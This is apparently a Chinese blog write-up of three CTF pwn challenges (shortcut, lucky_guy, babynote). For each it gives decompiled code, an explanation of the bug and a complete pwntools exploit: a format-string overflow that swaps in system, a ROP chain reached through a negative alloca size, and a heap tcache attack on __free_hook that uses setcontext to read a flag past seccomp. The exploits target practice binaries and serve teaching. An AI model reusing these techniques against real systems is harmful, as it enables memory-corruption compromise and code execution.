• 三个pwn题


    目录

    shortcut

    lucky_guy

    babynote


    shortcut

    这个题表面上是个堆题,实际上跟堆关系不大,是个格式化字符漏洞的题。

    主程序是菜单有4个功能:add,free,show,run

    1. int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
    2. {
    3. int v3; // eax
    4. setbuf(stdout, 0LL);
    5. setbuf(stdin, 0LL);
    6. setbuf(stderr, 0LL);
    7. while ( 1 )
    8. {
    9. while ( 1 )
    10. {
    11. while ( 1 )
    12. {
    13. v3 = menu();
    14. if ( v3 != 2 )
    15. break;
    16. list();
    17. }
    18. if ( v3 > 2 )
    19. break;
    20. if ( v3 != 1 )
    21. goto LABEL_13;
    22. add(); // formatstr
    23. }
    24. if ( v3 == 3 )
    25. {
    26. delete(); // 可以越界
    27. }
    28. else
    29. {
    30. if ( v3 != 4 )
    31. LABEL_13:
    32. die();
    33. run();
    34. }
    35. }
    36. }

    add函数这里有个漏洞,由于读入是用的printf,所以很容易用%nc达到写溢出

    1. unsigned __int64 add()
    2. {
    3. int v1; // [rsp+8h] [rbp-38h] BYREF
    4. int i; // [rsp+Ch] [rbp-34h]
    5. char format[40]; // [rsp+10h] [rbp-30h] BYREF
    6. unsigned __int64 v4; // [rsp+38h] [rbp-8h]
    7. v4 = __readfsqword(0x28u);
    8. for ( i = 0; ; ++i )
    9. {
    10. if ( i > 4 )
    11. {
    12. puts("Too many shortcut!");
    13. die();
    14. }
    15. if ( !*((_QWORD *)&sc + i) )
    16. break;
    17. }
    18. *((_QWORD *)&sc + i) = malloc(0x28uLL);
    19. puts("the name of new shortcut:");
    20. read_safely(format, 0x1Eu);
    21. sprintf(*((char **)&sc + i), format); // 少参数,printf漏洞
    22. puts("choose an operation:\n1. health code\n2. express\n");
    23. _isoc99_scanf("%d", &v1);
    24. if ( v1 == 1 )
    25. {
    26. *(_QWORD *)(*((_QWORD *)&sc + i) + 32LL) = health_code;
    27. }
    28. else
    29. {
    30. if ( v1 != 2 )
    31. {
    32. puts("Wrong choice!");
    33. die();
    34. }
    35. *(_QWORD *)(*((_QWORD *)&sc + i) + 32LL) = express;
    36. }
    37. return __readfsqword(0x28u) ^ v4;
    38. }

    run函数。chunk尾部有一个指针,run的时候将利用这个指针显示。

    1. unsigned __int64 run()
    2. {
    3. int i; // [rsp+Ch] [rbp-34h]
    4. char s1[40]; // [rsp+10h] [rbp-30h] BYREF
    5. unsigned __int64 v3; // [rsp+38h] [rbp-8h]
    6. v3 = __readfsqword(0x28u);
    7. puts("Tell me the name of shortcut:");
    8. read_safely(s1, 0x1Eu);
    9. for ( i = 0; i <= 4; ++i )
    10. {
    11. if ( *((_QWORD *)&sc + i) && !strncmp(s1, *((const char **)&sc + i), 0x1DuLL) )
    12. {
    13. (*(void (__fastcall **)(_QWORD))(*((_QWORD *)&sc + i) + 32LL))(*((_QWORD *)&sc + i));// 执行+32处的指针
    14. return __readfsqword(0x28u) ^ v3;
    15. }
    16. }
    17. puts("No match!");
    18. return __readfsqword(0x28u) ^ v3;
    19. }

    另外程序本身将system引入,可以执行plt里的system

    1. int treasure()
    2. {
    3. return system("treasure");
    4. }

    由于有一个比较容易的溢出这里就好办了。

    1,建一个块,让输入32个字符让它与指针直连,然后list的时候尾部带出指针,得到程序加载地址。

    2,再建第2个块,删1再重建,通过写溢出将1的数据溢出到2的指针,覆盖为system,2的数据改为system

    3, run(2)得到shell

    1. from pwn import *
    2. p = process('./shortcut')
    3. libc_elf = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
    4. elf = ELF('./shortcut')
    5. context(arch = 'amd64', log_level='debug')
    6. menu = b"Please tell me your choice:\n"
    7. def add(msg):
    8. p.sendlineafter(menu, b'1')
    9. p.sendlineafter(b"the name of new shortcut:\n", msg)
    10. p.sendlineafter(b"choose an operation:\n1. health code\n2. express\n\n", b'1')
    11. def show():
    12. p.sendlineafter(menu, b'2')
    13. def run(msg):
    14. p.sendlineafter(menu, b'4')
    15. p.sendlineafter(b"Tell me the name of shortcut:\n", msg)
    16. def free(idx):
    17. p.sendlineafter(menu, b'3')
    18. p.sendlineafter(b"Tell me the index of shortcut:\n", str(idx).encode())
    19. add(b'%32c')
    20. show()
    21. p.recv(0x29)
    22. pwn_base = u64(p.recv(6).ljust(8,b'\x00')) - 0xb9c
    23. elf.address = pwn_base
    24. print('pwn:', hex(pwn_base))
    25. system = pwn_base+ 0x988 #elf.plt('system')
    26. add(b'aaa')
    27. free(0)
    28. add(b'%48c'+b'/bin/sh;'+b'%24c'+p64(system)) #覆盖第2个chunk内容为/bin/sh;指针为system
    29. run(b'/bin/sh;'.ljust(0x1d,b' '))
    30. p.interactive()

    lucky_guy

    这是一个溢出写ROP的题,题目没有开PIE,显然是可以利用题目里的地址进行ROP的题。

    1. __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    2. {
    3. void *v3; // rsp
    4. _BYTE v5[4]; // [rsp+0h] [rbp-1B0h] BYREF
    5. int v6; // [rsp+4h] [rbp-1ACh] BYREF
    6. int v7; // [rsp+8h] [rbp-1A8h] BYREF
    7. unsigned int seed; // [rsp+Ch] [rbp-1A4h]
    8. int v9; // [rsp+10h] [rbp-1A0h]
    9. int v10; // [rsp+14h] [rbp-19Ch]
    10. _BYTE *v11; // [rsp+18h] [rbp-198h]
    11. char v12[392]; // [rsp+20h] [rbp-190h] BYREF
    12. unsigned __int64 v13; // [rsp+1A8h] [rbp-8h]
    13. v13 = __readfsqword(0x28u);
    14. v9 = 10;
    15. sub_400827();
    16. for ( seed = 0; (int)seed < v9; ++seed )
    17. {
    18. srand(seed); // seed已知,rand可以预测
    19. v10 = rand() % 100;
    20. puts("your number");
    21. __isoc99_scanf("%d", &v7);
    22. if ( v10 != v7 )
    23. {
    24. puts("fail");
    25. exit(0);
    26. }
    27. }
    28. puts("Congratulations you passed the first level!");
    29. puts("I believe you are a lucky guy.");
    30. puts("So, give me a size: ");
    31. __isoc99_scanf("%d", &v6);
    32. v3 = alloca(16 * ((v6 + 16 + 30LL) / 0x10uLL));// 移动rsp
    33. v11 = v5;
    34. sub_4008B9(v5, v6, v12);
    35. return 0LL;
    36. }

    main里先是让输入10个数,与随机数相同可进入下一步。由于seed用的数已知,所以rand是可预知的,可以写个小程序将10个数输出

    1. #include <stdio.h>
    2. #include <stdlib.h>
    3. int main(){
    4. for ( int seed = 0; (int)seed < 10; ++seed ){ srand(seed); printf("%d\n", rand() % 100); }
    5. }

    10个数字通过后,会让输入一个数字,然后通过它进行一个alloca,这个看上去像函数的东西实际上不是函数,只是把运算结果赋值给rsp

    1. .text:0000000000400A68 B8 10 00 00 00 mov eax, 10h
    2. .text:0000000000400A6D 48 83 E8 01 sub rax, 1
    3. .text:0000000000400A71 48 01 D0 add rax, rdx
    4. .text:0000000000400A74 BE 10 00 00 00 mov esi, 10h
    5. .text:0000000000400A79 BA 00 00 00 00 mov edx, 0
    6. .text:0000000000400A7E 48 F7 F6 div rsi
    7. .text:0000000000400A81 48 6B C0 10 imul rax, 10h
    8. .text:0000000000400A85 48 29 C4 sub rsp, rax

    后面的函数会进行两次输入,

    1. unsigned __int64 __fastcall sub_4008B9(void *a1, int a2, void *a3)
    2. {
    3. unsigned __int64 v5; // [rsp+28h] [rbp-8h]
    4. v5 = __readfsqword(0x28u);
    5. puts("Your message: ");
    6. read(0, a1, a2);
    7. puts("Leave your name: ");
    8. read(0, a3, 0x30uLL);
    9. return __readfsqword(0x28u) ^ v5;
    10. }

    第一次写入v5这个与rsp关联,第二次是写v12这是个固定位置

    所以这个题的漏洞就在于当输入负数,使rsp下移后,sub_4008B9的栈会下移跟主函数栈空间重叠。sub_4008B9的返回地址恰巧落在v12指针处时,就可以通过写入v12改写sub_4008B9的返回地址,在这里写ROP链。

    具体操作:

    1. from pwn import *
    2. p = process('./lucky_guy')
    3. elf = ELF('./lucky_guy')
    4. libc_elf = ELF('/home/shi/libc/libc6_2.31/lib/x86_64-linux-gnu/libc-2.31.so')
    5. context(arch='amd64', log_level='debug')
    6. pop_rdi = 0x0000000000400b43 #: pop rdi ; ret
    7. a = [83,83,90,46,1,75,41,77,96,15]
    8. #第一次 puts(got_puts),start 获取libc
    9. for i in a:
    10. p.sendlineafter(b"your number", str(i).encode())
    11. payload = flat(0, pop_rdi+1, pop_rdi, elf.got['puts'], elf.plt['puts'], 0x400740) #start
    12. p.sendlineafter(b"So, give me a size: ", str(-0x50).encode()) #
    13. p.sendafter(b"Leave your name: \n", payload)
    14. libc_base = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - libc_elf.sym['puts']
    15. libc_elf.address = libc_base
    16. print('libc:', hex(libc_base))
    17. #第二次 system(/bin/sh)
    18. for i in a:
    19. p.sendlineafter(b"your number", str(i).encode())
    20. payload = flat(0, pop_rdi+1, pop_rdi, next(libc_elf.search(b'/bin/sh')), libc_elf.sym['system'], 0x400740) #start
    21. p.sendlineafter(b"So, give me a size: ", str(-0x50).encode()) #
    22. p.sendafter(b"Leave your name: \n", payload)
    23. p.interactive()

     这里由于题目没有给出libc,所以第一步执行得到一个puts的地址后,需要按尾3位确定libc版本,下载相应libc或者用偏移计算system和/bin/sh的地址,然后再进行下一步。

    babynote

    这是一个高版本(libc-2.31不太高)libc下seccomp禁用execve功能的ORW题。

    漏洞:当对一个加密过的块进行show时,对数据起点标识“:”直接搜索,当输入的key里含“:”引起的写数据溢出。

    先分别看下各个函数

    1. __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    2. {
    3. int v4; // [rsp+Ch] [rbp-4h]
    4. sub_1369(a1, a2, a3);
    5. sub_152F();
    6. sub_1432();
    7. while ( 1 )
    8. {
    9. menu();
    10. v4 = get_int();
    11. if ( v4 == 5 )
    12. break;
    13. if ( v4 <= 5 && v4 > 0 )
    14. {
    15. switch ( v4 )
    16. {
    17. case 4:
    18. m4encrypt();
    19. break;
    20. case 3:
    21. m3free();
    22. break;
    23. case 1:
    24. m1add();
    25. break;
    26. default:
    27. m2show();
    28. break;
    29. }
    30. }
    31. else
    32. {
    33. printf("wrong choice");
    34. }
    35. }
    36. return 5LL;
    37. }

    main里有4个功能模块:add,show,free,enc

    1. int m1add()
    2. {
    3. __int64 v0; // rax
    4. int i; // [rsp+8h] [rbp-8h]
    5. int v3; // [rsp+Ch] [rbp-4h]
    6. for ( i = 0; i < dword_5010 && qword_5060[i]; ++i )
    7. ;
    8. LODWORD(v0) = dword_5010;
    9. if ( i < dword_5010 )
    10. {
    11. printf("size: ");
    12. v3 = get_int();
    13. if ( v3 > dword_5014 || v3 <= 0 )
    14. {
    15. printf("wrong note size");
    16. exit(0);
    17. }
    18. qword_5060[i] = malloc(v3);
    19. v0 = qword_5060[i];
    20. if ( v0 )
    21. {
    22. printf("content: ");
    23. sub_15A9(qword_5060[i], v3, 10);
    24. LODWORD(v0) = puts("done");
    25. }
    26. }
    27. return v0;
    28. }

    add限制最大f8,指针区没有问题,read数据没有溢出,而且尾部加\0非常安全

    1. unsigned __int64 m2show()
    2. {
    3. int i; // [rsp+0h] [rbp-40h]
    4. int v2; // [rsp+4h] [rbp-3Ch]
    5. int v3; // [rsp+8h] [rbp-38h]
    6. unsigned int n; // [rsp+Ch] [rbp-34h]
    7. char *n_4; // [rsp+10h] [rbp-30h]
    8. void *dest; // [rsp+18h] [rbp-28h]
    9. char buf[24]; // [rsp+20h] [rbp-20h] BYREF
    10. unsigned __int64 v8; // [rsp+38h] [rbp-8h]
    11. v8 = __readfsqword(0x28u);
    12. printf("index: ");
    13. v3 = get_int();
    14. if ( v3 < 0 || v3 >= dword_5010 )
    15. {
    16. puts("wrong note index");
    17. exit(0);
    18. }
    19. if ( qword_5060[v3] )
    20. {
    21. if ( dword_50E0[v3] == 1 )
    22. {
    23. v2 = 0;
    24. for ( i = 0; i <= 2; ++i )
    25. {
    26. printf("encrypt key: ");
    27. read(0, buf, 0xEuLL);
    28. if ( !memcmp(buf, (const void *)qword_5060[v3], 0xEuLL) )
    29. {
    30. v2 = 1;
    31. break;
    32. }
    33. puts("wrong encrypt key");
    34. }
    35. if ( !v2 )
    36. {
    37. puts("Please contact administrator to reset password");
    38. exit(0);
    39. }
    40. n_4 = strchr((const char *)qword_5060[v3], 58);
    41. n = strlen(n_4);
    42. dest = malloc(dword_5014);
    43. memcpy(dest, n_4, n);
    44. printf("content %s\n", (const char *)dest);
    45. free(dest);
    46. }
    47. else
    48. {
    49. printf("content: %s\n", (const char *)qword_5060[v3]);
    50. }
    51. }
    52. return __readfsqword(0x28u) ^ v8;
    53. }

    show的时候对enc过的先判断key是否正确,再找到“:”(数据起点标记)然后建个f8的块写入数据。这里如果在key里包含“:”则得到的数据长度就会超过f8从而写溢出。

    1. _DWORD *m3free()
    2. {
    3. _DWORD *result; // rax
    4. int v1; // [rsp+Ch] [rbp-4h]
    5. printf("index: ");
    6. v1 = get_int();
    7. if ( v1 < 0 || v1 >= dword_5010 )
    8. {
    9. puts("wrong note index");
    10. exit(0);
    11. }
    12. result = (_DWORD *)qword_5060[v1];
    13. if ( result )
    14. {
    15. free((void *)qword_5060[v1]);
    16. qword_5060[v1] = 0LL;
    17. result = dword_50E0;
    18. dword_50E0[v1] = 0;
    19. }
    20. return result;
    21. }

    free函数里free后清理指针和数据块尺寸,没有UAF,也没有溢出。

    1. unsigned __int64 m4encrypt()
    2. {
    3. size_t v0; // rax
    4. int v1; // eax
    5. size_t v2; // rax
    6. int v4; // [rsp+Ch] [rbp-54h]
    7. char *v5; // [rsp+20h] [rbp-40h]
    8. char v6[8]; // [rsp+40h] [rbp-20h] BYREF
    9. __int64 v7; // [rsp+48h] [rbp-18h]
    10. unsigned __int64 v8; // [rsp+58h] [rbp-8h]
    11. v8 = __readfsqword(0x28u);
    12. v7 = (unsigned int)time(0LL);
    13. printf("index: ");
    14. v4 = get_int();
    15. if ( v4 < 0 || v4 >= dword_5010 )
    16. {
    17. puts("wrong note index");
    18. exit(0);
    19. }
    20. if ( qword_5060[v4] )
    21. {
    22. if ( dword_50E0[v4] == 1 )
    23. {
    24. puts("the note has been encrypted");
    25. }
    26. else
    27. {
    28. printf("encrypt key: ");
    29. read(0, v6, 0x10uLL);
    30. v0 = strlen((const char *)qword_5060[v4]);
    31. v5 = (char *)malloc(v0 + 21);
    32. srand(v7);
    33. v1 = rand();
    34. *(_DWORD *)v5 = v1 + (v1 == -1);
    35. memcpy(v5 + 4, v6, 0xAuLL);
    36. v5[14] = 58;
    37. v2 = strlen((const char *)qword_5060[v4]);
    38. memcpy(v5 + 15, (const void *)qword_5060[v4], v2);
    39. free((void *)qword_5060[v4]);
    40. qword_5060[v4] = v5;
    41. dword_50E0[v4] = 1;
    42. puts("done");
    43. }
    44. }
    45. return __readfsqword(0x28u) ^ v8;
    46. }

    enc函数先读入key然后随机生成一个数字作为id,然后按原数据长度+21申请新块将数据复制进去,然后把原块free。

    这里有个漏洞:当读入key时v6定义的是8字节,后边是v7,后边用v7来初始化rand种子,而读入v6时可以读入16字节。所以可以用key覆盖v7从而控制种子预测生成的随机数。

    加密chunk的结构:id:4 key:10 数据标志符chr(58) data:n 

    由于在key里可以写入标志,所以溢出最大可以是10字节。当溢出覆盖下个chunk的头后字符串没有结束\0就可以输入下个chunk的fd从而泄露heap和libc

    由于有种种限制,所以要先规划一个行当的chunk布局

    思路:

    1. 建第1个F8,然后加密:释放第1个f8使用120
    2. 通过设置key里:的位置便show时写入到2的数据溢出,覆盖3的头(3提前释放到tcache)得到堆地址
    3. 先清理相应块,然后再利用同样方法,先将5释放到unsort,4是最后一个tcache里的F8 通过4show里覆盖5的头得到unsort指针,得到libc
    4. 同理通过6覆盖7的头,修改7的size使其实包含8利用重叠块进行tcache Attack从而达到任意地址写。
    5. 由于有seccomp所以这里作ORW
    6. 先控制tcache+0x90将0x100,0xf0两个指针改为 free_hook和free_hook+0xf8将来写连续的数据(理论上讲这两个块是有重叠的,第2个块没有头,从而两个块写入的数据是连续的)
    7. 原理比较复杂,内容是从原来作过的题上复制的。

    通过free_hook写ORW,free_hook内容

    1. gadget_addr: 
    2. fake_frame_addr: free_hook+0x10
    3. frame前一半0x20
    4. frame中间插入setcontext+61
    5. frame后部0x28起填充到0xf8
    6. 文件名
    7. rop_ORW

    最后翻译free_hook这个块

    1. from pwn import *
    2. local = 1
    3. if local == 1:
    4. p = process('./babynote')
    5. libc_elf = ELF('/lib/x86_64-linux-gnu/libc.so.6') #(Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31.
    6. else:
    7. p = remote('node4.buuoj.cn', 26429)
    8. libc_elf = ELF('./libc.so') #(Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31.
    9. elf = ELF('./babynote')
    10. context.arch = 'amd64'
    11. #context.log_level = 'debug'
    12. menu = b'>> '
    13. def add(size, msg=b'A'):
    14. p.sendlineafter(menu, b'1')
    15. p.sendlineafter(b"size: ", str(size).encode())
    16. p.sendlineafter(b"content: ", msg)
    17. def show(idx, key):
    18. p.sendlineafter(menu, b'2')
    19. p.sendlineafter(b"index: ", str(idx).encode())
    20. p.sendafter(b"encrypt key: ", key)
    21. def free(idx):
    22. p.sendlineafter(menu, b'3')
    23. p.sendlineafter(b"index: ", str(idx).encode())
    24. def enc(idx, key):
    25. p.sendlineafter(menu, b'4')
    26. p.sendlineafter(b"index: ", str(idx).encode())
    27. p.sendafter(b"encrypt key: ", key)
    28. #f8,118,f8*4,18*3,f8*6
    29. add(0xf8, b'A'*0xf7)
    30. enc(0, b'AA:BBBBB'+ b'00'+b'\x00'*6) #2046264671
    31. # 1 2 7 10 15
    32. for i in [0xf8,0xf8,0xf8,0xf8,0xf8, 0xf8, 0x18, 0x18, 0x18, 0xf8,0xf8,0xf8,0xf8,0xf8,0xe0]:
    33. add(i)
    34. for i in [4,3,2]:
    35. free(i)
    36. show(0, p32(2046264671)+b'AA:BBBBB00')
    37. p.recv(0x108)
    38. heap_base = u64(p.recv(6)+ b'\x00\x00') - 0x6c0
    39. print('heap:', hex(heap_base))
    40. free(0)
    41. free(1)
    42. add(0xf8, b'A'*0xf7)
    43. enc(0, b'AA:BBBBB'+ b'00'+b'\x00'*6) #2046264671
    44. add(0xf8) #1
    45. add(0xf8) #2
    46. add(0xf8) #3
    47. add(0xf8) #4
    48. for i in [10,11,12,13,14,6,4,5]: #tcache 4->6->... 5:unsort
    49. free(i)
    50. show(0, p32(2046264671)+b'AA:BBBBB00')
    51. p.recv(0x108)
    52. libc_base = u64(p.recv(6)+ b'\x00\x00') - 0x60 - 0x10 - libc_elf.sym['__malloc_hook']
    53. libc_elf.address = libc_base
    54. print('libc:', hex(libc_base))
    55. add(0xf8) #4
    56. free_hook = libc_elf.sym['__free_hook']
    57. _environ = libc_elf.sym['_environ']
    58. setcontext = libc_elf.sym['setcontext']
    59. syscall = next(libc_elf.search(asm("syscall; ret")))
    60. pop_rdi = next(libc_elf.search(asm("pop rdi; ret")))
    61. pop_rsi = next(libc_elf.search(asm("pop rsi; ret")))
    62. pop_rdx_r12 = next(libc_elf.search(asm("pop rdx; pop r12; ret")))
    63. pop_rax = next(libc_elf.search(asm("pop rax; ret")))
    64. jmp_rsp = next(libc_elf.search(asm("jmp rsp")))
    65. #gadget
    66. #0x00000000001518b0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
    67. gadget_addr= libc_base + 0x00000000001518b0
    68. free(0)
    69. free(1)
    70. add(0xf8, b'A'*0xf7)
    71. enc(0, b'AABBBBBB'+ b'0:'+b'\x00'*6) #872146168
    72. add(0xf8) #1
    73. show(0, p32(872146168) + b'AABBBBBB'+ b'0:')
    74. for i in [9,8,7]: #7[8]
    75. free(i)
    76. add(0x38, flat(0,0,0,0x21, heap_base+0xf0)) #5
    77. free(15)
    78. context.log_level = 'debug'
    79. add(0x18, b'A')
    80. add(0x18, flat(0, free_hook+0xf8, free_hook)[:-1])
    81. #orw
    82. fake_frame_addr = free_hook + 0x10
    83. frame = SigreturnFrame()
    84. frame.rax = 0
    85. frame.rdi = fake_frame_addr + 0xF8
    86. frame.rsp = fake_frame_addr + 0xF8 + 0x10
    87. frame.rip = pop_rdi + 1 # : ret
    88. rop_data = [
    89. libc_elf.sym['open'],
    90. pop_rdx_r12,0x100,0,pop_rdi,3,pop_rsi,fake_frame_addr + 0x200,libc_elf.sym['read'],
    91. pop_rdi,fake_frame_addr + 0x200,libc_elf.sym['puts']
    92. ]
    93. frame_data = flat(frame).ljust(0xf8, b'\x00')
    94. payload = flat(gadget_addr,fake_frame_addr,frame_data[:0x20],setcontext+61,frame_data[0x28:],b'flag\x00\x00\x00\x00',0)+flat(rop_data)
    95. print('len(payload)', hex(len(payload[0xf8:])))
    96. add(0xf8, payload[:0xf7]) #8
    97. add(0xe0, payload[0xf8:]) #9
    98. free(8)
    99. p.recv()
    100. p.interactive()

  • 相关阅读:
    MQTT连接阿里云物联网上报物模型数据
    session认证
    [matconvnet]matconvnet-1.0-beta-25在cuda11.1以上编译问题总结
    [Leetcode]6032. 得到要求路径的最小带权子图
    Go并发编程之常见并发bug
    【JVM系列】- 类加载子系统与加载过程
    培养出最多亿万富翁的美国大学TOP10榜单
    OSI七层模型
    Redis基础篇:初识Redis(认识NoSQL,单机安装Redis,配置Redis自启动,Redis客户端的基本使用)
    kubenetes-pod高可用
  • 原文地址:https://blog.csdn.net/weixin_52640415/article/details/125501761